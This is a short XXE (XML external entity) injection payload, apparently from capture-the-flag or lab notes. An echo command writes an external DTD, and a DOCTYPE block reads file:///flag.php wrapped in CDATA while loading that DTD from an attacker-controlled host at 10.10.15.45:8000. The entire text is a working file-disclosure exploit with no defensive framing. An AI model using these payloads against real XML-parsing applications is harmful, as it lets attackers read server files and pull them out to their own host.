echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
<!DOCTYPE email [
<!ENTITY % begin "<![CDATA["> <!-- prepend the beginning of the CDATA tag -->
<!ENTITY % file SYSTEM "file:///flag.php"> <!-- reference external file -->
<!ENTITY % end "]]>"> <!-- append the end of the CDATA tag -->
<!ENTITY % xxe SYSTEM "http://10.10.15.45:8000/xxe.dtd"> <!-- reference our external DTD -->
%xxe;
]>